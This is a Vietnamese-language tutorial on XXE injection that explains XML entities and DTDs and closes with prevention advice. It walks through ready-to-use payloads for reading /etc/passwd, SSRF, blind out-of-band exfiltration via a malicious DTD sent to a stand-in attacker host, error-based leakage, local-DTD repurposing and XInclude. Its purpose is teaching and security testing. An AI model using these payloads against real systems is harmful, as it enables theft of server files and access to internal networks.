**XML external entity (XXE) injection**

**Khái niệm:**

XXE là lỗ hổng web cho phép kẻ tấn công can thiệp việc xử lí dữ liệu XML của ứng dụng. Nó cũng cho phép kẻ tấn công đọc những tập tin trong máy chủ và tương tác với những hệ thống phía sau hoặc bên ngoài mà ứng dụng có thể truy cập.

Trong một số tình huống, kẻ tấn công có thể thâm nhập vào máy chủ hoặc cơ sở hạ tầng bằng cách tận dụng lỗ hổng XXE để khai thác SSRF.

**Lỗ hổng XXE sinh ra như thế nào?**

Một vài ứng dụng sử dụng định dạng XML để truyền dữ liệu giữa trình duyệt và máy chủ.

Lỗ hổng XXE sinh ra vì ngôn ngữ XML chứa nhiều tính năng nguy hiểm ngay cả khi chúng không được sử dụng bởi ứng dụng.

**XML entities:**

trong mục này , chúng ta sẽ giải thích một vài đặc điểm của XML để hiểu hơn về lỗ hổng này.

**XML là gì?**

XML là 1 ngôn ngữ đánh dấu. XML là 1 ngôn ngữ được thiết kế để lưu trữ và vận chuyển dữ liệu. Giống với HTML, XML sử dụng cấu trúc là 1 cái cây chứa các thẻ và dữ liệu. Không giống với HTML, XML không dùng những thẻ cố định, những thẻ có thể được đặt tên để mô tả dữ liệu. Những ngày đầu của web, XML là 1 định dạng vận chuyển dữ liệu rất thịnh hành (“X” trong AJAX) . Nhưng sự phổ biến của nó đã giảm vì sự xuất hiện của JSON.

**XML entities là gì?**

Những thực thể XML là cách để hiển thị 1 mục dữ liệu trong tài liệu XML, thay cho chính dữ liệu đó.

Một số ký tự được dành riêng trong cú pháp XML. Vì thế chúng không thể được sử dụng 1 cách trực tiếp. Rất nhiều thực thể được dựng lên để mô tả ngôn ngữ XML.

|  |  |
| --- | --- |
| **Ký tự không được phép sử dụng** | **Thực thể thay thế** |
| < | &lt; |
| > | &gt; |
| & | &amp; |
| ‘ | &apos; |
| “ | &quotl; |

**DTD là gì?**

* Là 1 loại tài liệu có thể khai báo cấu trúc của 1 tài liệu XML, loại dữ liệu và nhiều thứ khác.
* DTD thường được khai báo trong thẻ DOCTYPE ở đầu tài liệu XML
* DTD có thể chứa trong tài liệu hoặc được tải từ bên ngoài

**Các thực thể tùy chỉnh của XML?**

XML cho phép những thực thể tùy chỉnh được khai báo trong DTD.

<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>

Việc sử dụng tham chiếu &myentity; trong tài liệu XML sẽ được thay thế với giá trị “my entity value”

Tham chiếu XML luôn bắt đầu với “&” và kết thúc với kí tự “;” có hai loại:

* Tham chiếu thực thể : &amp; &lt;
* Tham chiếu kí tự:
* &#65; (decimal) tham chiếu tới A
* &#x25; (hexa) tham chiếu tới %

**Các thực thể của XML từ bên ngoài?**

Là 1 loại thực thể tùy chỉnh việc tham chiếu của nó nằm ngoài DTD nơi mà chúng được khai báo

Việc khai báo thực thể bên ngoài sử dụng SYSTEM và bắt buộc chỉ thị Url mà giá trị của nó được tải. Ví dụ:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>

Url có thể sử dụng giao thức file:// và thực thể từ bên ngoài có thể được tải từ tập tin. Ví dụ:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

Những thực thể XML từ bên ngoài là phương tiện chính để khai thác XXE.

**Khai thác XXE để truy suất tập tin:**

Để truy suất tập tin bất kì từ máy chủ, bạn cần điều chỉnh XML được gửi đi theo 2 cách sau:

* Chỉnh sửa thẻ DOCTYPE, khai báo 1 thực thể bên ngoài chứa đường dẫn đến tập tin đó
* Chỉnh sửa giá trị trong XML được ứng dụng trả về để sử dụng thực thể bên ngoài đã khai báo.

Ví dụ, giả sử ứng dụng mua sắm kiểm tra kho hàng của 1 sản phẩm bằng việc gửi XML sau đến máy chủ:

<?xml version="1.0" encoding="UTF-8"?>

<stockCheck><productId>381</productId></stockCheck>

Nếu ứng dụng không ngăn chặn XXE, bạn có thể truy suất tập tin /etc/passwd bằng việc gửi di payload sau:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

<stockCheck><productId>&xxe;</productId></stockCheck>

Payload XXE này khai báo 1 thực thể từ bên ngoài &xxe; và giá trị của nó là nội dung của tập tin /etc/passwd và sử dụng nó như giá trị productID.

Với lỗ hổng XXE thực tế, sẽ có rất nhiều giá trị được gửi đi trong XML, và có thể được ứng dụng phản hồi. Bạn phải kiểm tra từng loại dữ liệu trong XML bằng việc dùng thực thể đã được khai báo của bạn và xem cách ứng dụng phản hồi nó.

**Khai thác XXE để tấn công SSRF:**

Bên cạnh việc truy suất dữ liệu nhạy cảm, XXE có thể được khai thác để tấn công SSRF. Đây là lỗ hổng rất nghiêm trọng bắt máy chủ yêu cầu đến url của hệ thống phía sau.

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

**Lỗ hổng XXE mù:**

Ứng dụng dính lỗi XXE nhưng không trả về phản hồi của bất cứ thực thể nào.

Bạn không thể truy suất tập tin máy chủ 1 cách trực tiếp.

Có 2 cách để khai thác:

* Kích hoạt sự tương tác mạng từ bên ngoài để trích lọc dữ liệu nhạy cảm.
* Kích hoạt lỗi của XML parser để thông báo lỗi rò rỉ dữ liệu nhạy cảm.

**Phát hiện lỗi XXE mù bằng kĩ thuật OAST:**

Bạn sẽ khai báo thực thể bên ngoài như sau:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>

Sau đó, bạn sử dụng thực thể đã khai báo như biến trong XML.

Cuộc tấn công XXE này làm cho máy chủ yêu cầu đến Url chỉ định, tạo sự tương tác mạng đến hệ thống bạn kiểm soát nhờ những tra cứu DNS và yêu cầu HTTP🡪 phát hiện XXE.

Thỉnh thoảng 1 số thực thể bên ngoài bị chặn, bạn phải sử dụng thực thể XML là 1 tham số thay thế. Thực thể tham số chỉ có thể được tham chiếu trong DTD.

Đầu tiên việc khai báo thực thể tham số phải bao gồm kí tự %

<!ENTITY % myparameterentity "my parameter entity value" >

Thứ hai, những thực thế tham số khi tham chiếu phải dùng % thay cho &

Để kiểm tra lỗi XXE mù bằng OAST qua thực thể tham số như sau:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

**Khai thác XXE mù để trích lọc dữ diệu nhạy cảm:**

Để làm được điều này, kẻ tấn công phải lưu trữ tập tin DTD độc hại trên hệ thống mà hắn kiểm soát được, sau đó tải từ bên ngoài vào.

Một ví dụ về DTD độc hại để trích lọc dữ liệu của tập tin /etc/passwd như sau:

<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">

%eval;

%exfiltrate;

DTD thực hiện theo những bước sau:

Khai báo 1 tham số XML tên file chứa nội dung của tập tin /etc/passwd.

Khai báo tiếp 1 tham số XML tên eval chứa 1 tham số khác tên exfiltrate. Thực thể exfiltrate sẽ gửi yêu cầu http đến máy chủ của kẻ tấn công có chứa giá trị của file .

Sử dụng tham số exfiltrate để gửi yêu cầu đến url chỉ định.

Kẻ tấn công bắt buộc phải lưu trữ file DTD trong hệ thống họ kiểm soát.

http://web-attacker.com/malicious.dtd

Cuối cùng, gửi payload XXE đến ứng dụng có lỗ hổng:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM

"http://web-attacker.com/malicious.dtd"> %xxe;]>

Nó sẽ làm cho ứng dụng fetch file DTD độc hại từ máy chủ của kẻ tấn công rồi thực thi. File /etc/passwd sẽ được truyền đến máy chủ của kẻ tấn công dưới dạng 1 yêu cầu http.

**\* Lưu ý:** Kĩ thuật này có thể không hoạt động với một số kí tự đặc biệt như xuống dòng trong file /etc/passwd. Vì trình phân tích XML lấy Url trong thực thể từ bên ngoài bằng cách sử dụng API để xác thực những kí tự không được phép trong Url. Trong tình huống đó hãy sử dụng giao thức Tcp thay thế Http. Đôi khi, không thể trích lọc dữ liệu chứa kí tự xuống dòng nên phải dùng tập tin /etc/hostname thay thế.

**Khai thác XXE mù để truy suất dữ liệu qua thông báo lỗi:**

Một cách tiếp cận khác để khai thác lỗi XXE mù là kích hoạt lỗi của trình phân tích XML .Nếu ứng dụng xử lí lỗi không tốt, nó sẽ trả về thông báo lỗi có chứa dữ liệu nhạy cảm.

Bạn có thể kích hoạt lỗi của trình phân tích XML có chứa nội dụng của tập tin /etc/passwd bằng cách dùng DTD từ bên ngoài:

<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">

%eval;

%error;

DTD này sẽ làm theo những bước sau:

Khai báo 1 tham số XML tên file để lấy nd tập tin /etc/passwd

Khai báo 1 tham số khác tên eval để thực thi được tham số error. Tham số error sẽ tải 1 tập tin không tồn tại trong máy chủ mà tên của nó sẽ chứa nội dung của thực thể file 🡪Báo lỗi

Khi ta truyền DTD từ bên ngoài vào sẽ thông báo lỗi như sau:

java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

...

**Khai thác XXE mù bằng cách chỉnh sửa DTD cục bộ:**

Tại sao kĩ thuật trước làm việc tốt với DTD từ bên ngoài? Vì kĩ thuật trước yêu cầu sử dụng thực thể tham số trong khai báo của tham số khác. Điều này không được phép trong DTD cục bộ.

Vậy nếu những tương tác từ bên ngoài bị chặn? Bạn không thể trích lọc dữ liệu qua kết nối bên ngoài và bạn không thể tải DTD từ máy chủ khác.

Trong tình huống đó, vẫn có thể kích hoạt thông báo lỗi có chứa dữ liệu nhạy cảm. Nếu tài liệu có thể khai báo DTD từ bên ngoài và trong thì DTD cục bộ có thể khai báo lại những thực thể được khai báo trong DTD bên ngoài, việc sử dụng tham số thực thể trong khai báo tham số khác không còn bị hạn chế.

Điều đó có nghĩa kẻ tấn công có thể kích hoạt lỗi qua DTD cục bộ.

Khai báo lại thực thể trong DTD từ bên ngoài. Tất nhiên nếu những kết nối từ xa đã bị chặn , DTD bên ngoài phải nằm cục bộ trong hệ thống tập tin.

Giả sử 1 tập tin DTD trên hệ thống file máy chủ nằm ở /usr/local/app/schema.dtd và DTD này đã khai báo 1 thực thể tên custom\_entity. Kẻ tấn công có thể kích hoạt lỗi chứa nội dung của tập tin /etc/passwd bằng cách gửi DTD sau:

<!DOCTYPE foo [

<!ENTITY % local\_dtd SYSTEM "file:///usr/local/app/schema.dtd">

<!ENTITY % custom\_entity '

<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">

<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">

&#x25;eval;

&#x25;error;

'>

%local\_dtd;

]>

DTD này thực hiện những bước sau:

Khai báo 1 tham số thực thể là local\_dtd chứa nội dung của dtd từ bên ngoài trong máy chủ.

Khai báo lại thực thể trong dtd từ bên ngoài là custom\_entity. Thực thể này sẽ chứa lỗi XXE đã được mô tả, kích hoạt thông báo lỗi có nội dung của tập tin /etc/passwd

Tham chiếu thực thể local\_dtd để dtd từ bên ngoài được thông dịch bao gồm cả thực thể đã được khai báo lại.

**Vị trí đặt những tập tin DTD trong hệ thống:**

Bạn có thể dễ dàng liệt kê tập tin dtd trong hệ thống bằng việc tải nó từ dtd cục bộ.

Ví dụ hệ thống Linux thường lưu trữ tập tin DTD ở /usr/share/yelp/dtd/docbookx.dtd. Bạn có thể kiểm tra xem file có tồn tại hay không bằng payload sau:

<!DOCTYPE foo [

<!ENTITY % local\_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">

%local\_dtd;

]>

Sau khi bạn kiểm tra danh sách những vị trí thường đặt tập tin DTD, bạn cần tìm thực thể có thể khai báo lại.

**Tìm kiếm những bề mặt tấn công XXE bị ẩn:**

**Những cuộc tấn công XInclude:**

Một vài ứng dụng nhận dữ liệu do người dùng cung cấp, tạo 1 tài liệu XML trong máy chủ rồi phân tích nó.

Ví dụ: dữ liệu do người dùng gửi đi đặt trong yêu cầu SOAP, sau đó được xử lí bởi dịch vụ SOAP

Bạn không thể tấn công XXE vì không kiểm soát được toàn bộ tài liệu XML và cũng không thể điều chỉnh hay khai báo thẻ DOCTYPE. Tuy vậy bạn có thể sử dụng Xinclude. XInclude cho phép 1 tài liệu XML được tạo từ những tài liệu con.

<foo xmlns:xi="http://www.w3.org/2001/XInclude">

<xi:include parse="text" href="file:///etc/passwd"/></foo>

Mặc định, Xinclude sẽ cố gắng phân tích tập tin nó include như XML. Vì /etc/passwd không phải tài liệu XML hợp lệ nên bạn phải thêm thuộc tính parse.

**Tấn công XXE qua đăng tải tập tin:**

Một vài ứng dụng cho phép người dùng đăng tải tập tin và sau đó xử lí ở phía máy chủ. Một vài định dạng của tập tin dùng XML như DOCX và SVG.

Nếu ứng dụng hỗ trợ định dạng SVG, kẻ tấn công có thể gửi đi hình ảnh SVG độc hại.

**Tấn công XXE qua điều chỉnh MIME:**

Đa số những yêu cầu POST dùng content type là application/x-www-form-urlencode. Một vài trang web vẫn nhận những content types khác chứa XML

Ví dụ, 1 yêu cầu bình thường sẽ như sau :

POST /action HTTP/1.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 7

foo=bar

Sau đó, bạn có thể gửi yêu cầu khác:

POST /action HTTP/1.0

Content-Type: text/xml

Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Nếu ứng dụng có thể nhận những yêu cầu chứa XML và phân tích nó, thì bạn có thể tiêm XXE rồi.

**Làm thế nào để rà soát lỗ hổng XXE?**

Đa số lỗ hổng XXE có thể tìm thấy dễ dàng và nhanh chóng nhờ Burpsuite scanner

**Kiểm tra lỗ hổng XXE thủ công:**

* Kiểm tra việc truy suất tập tin bằng việc khai báo thực thể bên ngoài và sử dụng thực thể trong dữ liệu mà ứng dụng trả về.
* Kiểm tra lỗ hổng XXE mù bằng việc khai báo 1 thực thể bên ngoài fetch Url do hệ thống bạn kiểm soát, và theo dõi những tương tác với hệ thống đó
* Kiểm tra xem dữ liệu do người dùng cung cấp không phải XML có include được không.

**\* Lưu ý:** XML cũng chỉ là 1 định dạng dữ liệu. Hãy chắc chắn bạn cũng kiểm tra lỗ hổng khác như XSS và tiêm SQL dựa trên XML. Bạn có thể mã hóa payload bằng một số kí tự XML để làm rối loạn cũng như vượt qua những lớp phòng thủ yếu.

**Làm sao để ngăn chặn lỗ hổng XXE?**

Đa số lỗ hổng XXE sinh ra do trình phân tích XML của ứng dụng hỗ trợ những tính năng nguy hiểm mà nó không cần. Cách dễ nhất và hiệu quả nhất để ngăn chặn XXE là vô hiệu hóa những tính năng đó.

Điều này có thể được làm qua cấu hình hoặc lập trình ghi đè những hành vi mặc định. Tham khảo một số tài liệu về trình phân tích XML hoặc API để tìm cách vô hiệu hóa những tính năng không cần thiết.